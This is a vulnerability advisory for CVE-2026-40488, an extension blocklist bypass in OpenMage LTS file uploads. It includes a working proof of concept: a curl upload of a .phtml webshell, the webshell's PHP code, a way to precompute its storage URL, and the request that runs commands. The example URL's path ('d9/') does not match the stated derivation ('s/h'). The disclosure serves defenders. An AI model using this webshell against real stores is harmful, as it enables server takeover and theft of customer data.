CVE-2026-40488 — Vulnerability in openmage/magento-lts — CVE Details

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution. ## Affected Version - **Project:** OpenMage/magento-lts - **Vulnerable File:** `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php` - **Vulnerable Lines:** 230-237 (`_validateUploadedFile()`) - **Configuration:** `app/code/core/Mage/Catalog/etc/config.xml:824` ## Root Cause The file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only: ```xml <!-- Catalog/etc/config.xml:824 --> <forbidden_extensions>php,exe</forbidden_extensions> ``` This misses the comprehensive `protected_extensions` blocklist defined elsewhere: ```xml <!-- Core/etc/config.xml:449-478 --> php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, htm, html, pht, phtml, shtml ``` ## Vulnerable Code ```php // app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237 $_allowed = $this->_parseExtensionsString($option->getFileExtension()); if ($_allowed !== null) { $upload->addValidator('Extension', false, $_allowed); } else { $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions')); if ($_forbidden !== null) { $upload->addValidator('ExcludeExtension', false, $_forbidden); // Only blocks php,exe! } } ``` ## Steps to Reproduce ### 1. Environment Setup Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler) ### 2. Exploitation ```bash # Upload .phtml (bypasses blocklist) curl -X POST "https://target.com/vulnerable_upload.php" \ -F "file=@shell.phtml;filename=shell.phtml" ``` **Result:** <img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" /> ### 3. Code Execution OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls: **Subdirectory** — `getDispretionPath($filename)` takes the **first two characters** of the uploaded filename and uses them as nested directory names: ``` filename = "shell.phtml" → s/ h/ → media/custom_options/quote/s/h/ ``` **Filename** — `md5(file_get_contents($tmp_name))` is computed over the **raw bytes of the uploaded payload** (`File.php:245`): ```php // app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245 $fileHash = md5(file_get_contents($fileInfo['tmp_name'])); $filePath = $dispersion . DS . $fileHash . '.' . $extension; ``` Because the attacker writes the webshell themselves, both the filename prefix and file contents are known **before the upload request is sent**. The full URL can be pre-computed: ```bash SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n' HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1) PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h ```bash curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml" ``` **Result:** RCE Confirmed <img width="1559" height="827" alt="image" src="https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260" /> ## Affected Deployments | Configuration | Status | |---------------|--------| | Apache + mod_php (with `php_flag engine 0`) | SAFE | | Apache + PHP-FPM | **VULNERABLE** | | Nginx (reference hardened config) | SAFE | | Nginx (generic config with .phtml→FPM) | **VULNERABLE** | ## Impact 1. **Remote Code Execution:** Full server compromise through webshell upload 2. **Data Exfiltration:** Access to database credentials, customer PII, payment data 3. **Lateral Movement:** Pivot to internal infrastructure 4. **Supply Chain:** Inject malicious code into served content